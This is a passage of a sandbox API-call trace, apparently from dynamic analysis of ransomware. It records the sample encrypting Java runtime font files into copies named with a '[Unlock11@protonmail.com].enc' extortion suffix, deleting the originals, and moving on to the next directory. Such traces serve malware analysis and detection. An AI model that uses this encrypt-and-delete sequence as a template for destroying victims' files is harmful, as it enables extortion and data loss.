HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0132.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0132.926] GetLastError () returned 0x0 [0132.927] GetLastError () returned 0x0 [0132.927] GetCurrentThreadId () returned 0x9b0 [0132.927] GetLastError () returned 0x0 [0132.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0132.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0132.928] GetLastError () returned 0x0 [0132.928] GetLastError () returned 0x0 [0132.928] GetCurrentThreadId () returned 0x9b0 [0132.928] GetLastError () returned 0x0 [0132.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.928] GetCurrentThreadId () returned 0x9b0 [0132.928] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37940d0, Size=0x9275) returned 0x37940d0 [0132.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0132.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4f8 | out: hHeap=0x2ad0000) returned 1 [0132.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x9278) returned 0x36f8548 [0132.929] GetLastError () returned 0x0 [0132.929] GetLastError () returned 0x0 [0132.929] GetLastError () returned 0x0 [0132.929] GetLastError () returned 0x0 [0132.929] GetCurrentThreadId () returned 0x9b0 [0132.929] GetLastError () returned 0x0 [0132.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0132.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0132.930] GetLastError () returned 0x0 [0132.930] GetLastError () returned 0x0 [0132.930] GetCurrentThreadId () returned 0x9b0 [0132.930] GetLastError () returned 0x0 [0132.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37017c8 | out: hHeap=0x2ad0000) returned 1 [0132.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.931] GetLastError () returned 0x0 [0132.931] GetLastError () returned 0x0 [0132.931] GetCurrentThreadId () returned 0x9b0 [0132.931] GetLastError () returned 0x0 [0132.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.931] GetLastError () returned 0x0 [0132.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0132.932] CloseHandle (hObject=0x3ac) returned 1 [0132.932] GetLastError () returned 0x0 [0132.932] GetCurrentThreadId () returned 0x9b0 [0132.932] GetLastError () returned 0x0 [0132.932] GetLastError () returned 0x0 [0132.932] CloseHandle (hObject=0x39c) returned 1 [0132.932] GetLastError () returned 0x0 [0132.932] GetCurrentThreadId () returned 0x9b0 [0132.933] GetLastError () returned 0x0 [0132.933] GetCurrentThreadId () returned 0x9b0 [0132.933] GetLastError () returned 0x0 [0132.933] GetLastError () returned 0x0 [0132.933] GetLastError () returned 0x0 [0132.933] GetLastError () returned 0x0 [0132.933] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1 [0132.935] GetLastError () returned 0x0 [0132.935] GetCurrentThreadId () returned 0x9b0 [0132.936] GetLastError () returned 0x0 [0132.936] GetLastError () returned 0x0 [0132.936] GetLastError () returned 0x0 [0132.936] GetLastError () returned 0x0 [0132.936] GetLastError () returned 0x0 [0132.936] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf", lpFilePart=0x9bada4*="LucidaTypewriterRegular.ttf") returned 0x48 [0132.936] GetCurrentThreadId () returned 0x9b0 [0132.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0132.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0132.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0132.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0132.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf30 [0132.937] GetLastError () returned 0x0 [0132.937] GetLastError () returned 0x0 [0132.937] GetLastError () returned 0x0 [0132.937] GetLastError () returned 0x0 [0132.937] GetCurrentThreadId () returned 0x9b0 [0132.937] GetLastError () returned 0x0 [0132.937] GetCurrentThreadId () returned 0x9b0 [0132.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf30 | out: hHeap=0x2ad0000) returned 1 [0132.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eada0 [0132.938] GetLastError () returned 0x0 [0132.938] GetLastError () returned 0x0 [0132.938] GetLastError () returned 0x0 [0132.938] GetLastError () returned 0x0 [0132.938] GetCurrentThreadId () returned 0x9b0 [0132.938] GetLastError () returned 0x0 [0132.938] GetLastError () returned 0x0 [0132.938] GetLastError () returned 0x0 [0132.938] GetLastError () returned 0x0 [0132.938] GetLastError () returned 0x0 [0132.938] GetCurrentThreadId () returned 0x9b0 [0132.939] GetLastError () returned 0x0 [0132.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eada0 | out: hHeap=0x2ad0000) returned 1 [0132.939] GetLastError () returned 0x0 [0132.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0132.939] GetLastError () returned 0x0 [0132.939] GetLastError () returned 0x0 [0132.939] GetLastError () returned 0x0 [0132.939] GetCurrentThreadId () returned 0x9b0 [0132.939] GetLastError () returned 0x0 [0132.939] GetCurrentThreadId () returned 0x9b0 [0132.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a968 [0132.940] GetLastError () returned 0x0 [0132.940] GetLastError () returned 0x0 [0132.940] GetLastError () returned 0x0 [0132.940] GetLastError () returned 0x0 [0132.940] GetCurrentThreadId () returned 0x9b0 [0132.940] GetLastError () returned 0x0 [0132.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a968 | out: hHeap=0x2ad0000) returned 1 [0132.940] GetLastError () returned 0x0 [0132.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0132.941] GetLastError () returned 0x0 [0132.941] GetLastError () returned 0x0 [0132.941] GetLastError () returned 0x0 [0132.941] GetCurrentThreadId () returned 0x9b0 [0132.941] GetLastError () returned 0x0 [0132.941] GetLastError () returned 0x0 [0132.941] GetLastError () returned 0x0 [0132.941] GetLastError () returned 0x0 [0132.941] GetLastError () returned 0x0 [0132.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0132.942] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c)) returned 1 [0132.942] GetLastError () returned 0x0 [0132.942] GetCurrentThreadId () returned 0x9b0 [0132.942] GetLastError () returned 0x0 [0132.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2510 | out: hHeap=0x2ad0000) returned 1 [0132.942] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bd7c | out: pbBuffer=0x366bd7c) returned 1 [0132.943] GetCurrentThreadId () returned 0x9b0 [0132.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0132.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0132.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0132.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf30 [0132.943] GetLastError () returned 0x0 [0132.943] GetLastError () returned 0x0 [0132.943] GetLastError () returned 0x0 [0132.943] GetLastError () returned 0x0 [0132.943] GetCurrentThreadId () returned 0x9b0 [0132.943] GetLastError () returned 0x0 [0132.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf30 | out: hHeap=0x2ad0000) returned 1 [0132.944] GetCurrentThreadId () returned 0x9b0 [0132.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0132.944] GetLastError () returned 0x0 [0132.944] GetLastError () returned 0x0 [0132.944] GetLastError () returned 0x0 [0132.944] GetLastError () returned 0x0 [0132.944] GetCurrentThreadId () returned 0x9b0 [0132.944] GetLastError () returned 0x0 [0132.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae90 | out: hHeap=0x2ad0000) returned 1 [0132.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5d8 [0132.945] GetCurrentThreadId () returned 0x9b0 [0132.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5e18 | out: hHeap=0x2ad0000) returned 1 [0132.945] GetLastError () returned 0x0 [0132.945] GetLastError () returned 0x0 [0132.945] GetLastError () returned 0x0 [0132.945] GetLastError () returned 0x0 [0132.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0132.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de528 [0132.945] GetLastError () returned 0x0 [0132.945] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.946] GetFileType (hFile=0x39c) returned 0x1 [0132.946] GetLastError () returned 0x0 [0132.946] GetCurrentThreadId () returned 0x9b0 [0132.946] GetLastError () returned 0x0 [0132.946] GetFileType (hFile=0x39c) returned 0x1 [0132.946] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.946] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.946] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.946] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.947] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.947] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.947] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.947] GetLastError () returned 0x0 [0132.947] GetCurrentThreadId () returned 0x9b0 [0132.947] GetLastError () returned 0x0 [0132.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0132.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a24b8 | out: hHeap=0x2ad0000) returned 1 [0132.947] GetLastError () returned 0x0 [0132.947] GetLastError () returned 0x0 [0132.947] GetLastError () returned 0x0 [0132.947] GetLastError () returned 0x0 [0132.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0132.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de618 [0132.948] GetLastError () returned 0x0 [0132.948] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.948] GetFileType (hFile=0x3ac) returned 0x1 [0132.948] GetLastError () returned 0x0 [0132.948] GetCurrentThreadId () returned 0x9b0 [0132.949] GetLastError () returned 0x0 [0132.949] GetFileType (hFile=0x3ac) returned 0x1 [0132.949] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.949] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.949] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.949] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.949] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.949] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.949] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.949] GetLastError () returned 0x0 [0132.949] GetCurrentThreadId () returned 0x9b0 [0132.949] GetLastError () returned 0x0 [0132.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0132.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0132.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0132.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0132.950] GetLastError () returned 0x0 [0132.950] GetLastError () returned 0x0 [0132.950] GetCurrentThreadId () returned 0x9b0 [0132.950] GetLastError () returned 0x0 [0132.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.950] GetLastError () returned 0x0 [0132.950] GetLastError () returned 0x0 [0132.951] GetCurrentThreadId () returned 0x9b0 [0132.951] GetLastError () returned 0x0 [0132.951] GetLastError () returned 0x0 [0132.952] GetLastError () returned 0x0 [0132.953] GetCurrentThreadId () returned 0x9b0 [0132.953] GetLastError () returned 0x0 [0132.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0132.953] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0132.953] GetCurrentThreadId () returned 0x9b0 [0132.953] GetLastError () returned 0x0 [0132.954] GetLastError () returned 0x0 [0132.954] GetLastError () returned 0x0 [0132.954] GetLastError () returned 0x0 [0132.954] GetCurrentThreadId () returned 0x9b0 [0132.954] GetLastError () returned 0x0 [0132.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.954] GetLastError () returned 0x0 [0132.956] GetLastError () returned 0x0 [0132.956] GetCurrentThreadId () returned 0x9b0 [0132.956] GetLastError () returned 0x0 [0132.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0132.956] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0132.957] GetLastError () returned 0x0 [0132.957] GetLastError () returned 0x0 [0132.957] GetCurrentThreadId () returned 0x9b0 [0132.958] GetLastError () returned 0x0 [0132.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de5f8 [0132.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4f8 | out: hHeap=0x2ad0000) returned 1 [0132.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.958] GetLastError () returned 0x0 [0132.958] GetLastError () returned 0x0 [0132.959] GetLastError () returned 0x0 [0132.959] GetLastError () returned 0x0 [0132.959] GetCurrentThreadId () returned 0x9b0 [0132.959] GetLastError () returned 0x0 [0132.959] GetCurrentThreadId () returned 0x9b0 [0132.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37a40f0 [0132.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0132.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0132.959] GetLastError () returned 0x0 [0132.960] GetLastError () returned 0x0 [0132.960] GetCurrentThreadId () returned 0x9b0 [0132.960] GetLastError () returned 0x0 [0132.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0132.961] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.961] GetLastError () returned 0x0 [0132.961] GetLastError () returned 0x0 [0132.962] GetCurrentThreadId () returned 0x9b0 [0132.962] GetLastError () returned 0x0 [0132.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de5d8 [0132.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0132.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0132.962] GetLastError () returned 0x0 [0132.962] GetLastError () returned 0x0 [0132.962] GetLastError () returned 0x0 [0132.963] GetLastError () returned 0x0 [0132.963] GetCurrentThreadId () returned 0x9b0 [0132.963] GetLastError () returned 0x0 [0132.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0132.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0132.963] GetLastError () returned 0x0 [0132.964] GetLastError () returned 0x0 [0132.964] GetCurrentThreadId () returned 0x9b0 [0132.964] GetLastError () returned 0x0 [0132.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0132.965] GetCurrentThreadId () returned 0x9b0 [0132.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0132.965] GetLastError () returned 0x0 [0132.965] GetLastError () returned 0x0 [0132.965] GetCurrentThreadId () returned 0x9b0 [0132.965] GetLastError () returned 0x0 [0132.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.966] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37940d0, Size=0xb425) returned 0x37940d0 [0132.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de538 [0132.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0132.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xb428) returned 0x36f8548 [0132.966] GetLastError () returned 0x0 [0132.966] GetLastError () returned 0x0 [0132.966] GetLastError () returned 0x0 [0132.966] GetLastError () returned 0x0 [0132.966] GetCurrentThreadId () returned 0x9b0 [0132.966] GetLastError () returned 0x0 [0132.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.967] GetLastError () returned 0x0 [0132.967] GetLastError () returned 0x0 [0132.968] GetCurrentThreadId () returned 0x9b0 [0132.968] GetLastError () returned 0x0 [0132.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f500 | out: hHeap=0x2ad0000) returned 1 [0132.968] GetCurrentThreadId () returned 0x9b0 [0132.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.968] GetLastError () returned 0x0 [0132.968] GetLastError () returned 0x0 [0132.968] GetCurrentThreadId () returned 0x9b0 [0132.968] GetLastError () returned 0x0 [0132.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.969] GetLastError () returned 0x0 [0132.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0132.969] CloseHandle (hObject=0x3ac) returned 1 [0132.969] GetLastError () returned 0x0 [0132.969] GetCurrentThreadId () returned 0x9b0 [0132.969] GetLastError () returned 0x0 [0132.969] GetLastError () returned 0x0 [0132.969] CloseHandle (hObject=0x39c) returned 1 [0132.970] GetLastError () returned 0x0 [0132.970] GetCurrentThreadId () returned 0x9b0 [0132.970] GetLastError () returned 0x0 [0132.970] GetLastError () returned 0x0 [0132.970] GetLastError () returned 0x0 [0132.970] GetLastError () returned 0x0 [0132.970] GetLastError () returned 0x0 [0132.970] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1 [0132.973] GetLastError () returned 0x0 [0132.973] GetCurrentThreadId () returned 0x9b0 [0132.973] GetLastError () returned 0x0 [0132.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5dc0 | out: hHeap=0x2ad0000) returned 1 [0132.973] GetCurrentThreadId () returned 0x9b0 [0132.973] GetLastError () returned 0x0 [0132.973] GetLastError () returned 0x0 [0132.973] GetLastError () returned 0x0 [0132.973] GetLastError () returned 0x0 [0132.974] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0132.974] GetLastError () returned 0x0 [0132.974] GetCurrentThreadId () returned 0x9b0 [0132.974] GetLastError () returned 0x0 [0132.974] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0132.974] GetLastError () returned 0x0 [0132.974] GetCurrentThreadId () returned 0x9b0 [0132.974] GetLastError () returned 0x0 [0132.974] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="cursors", cAlternateFileName="")) returned 1 [0132.975] GetLastError () returned 0x0 [0132.975] GetCurrentThreadId () returned 0x9b0 [0132.975] GetLastError () returned 0x0 [0132.975] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="cursors", cAlternateFileName="")) returned 0 [0132.975] GetLastError () returned 0x12 [0132.975] GetCurrentThreadId () returned 0x9b0 [0132.975] GetLastError () returned 0x12 [0132.975] GetLastError () returned 0x12 [0132.975] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0132.975] GetLastError () returned 0x12 [0132.975] GetLastError () returned 0x12 [0132.975] GetLastError () returned 0x12 [0132.976] GetLastError () returned 0x12 [0132.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 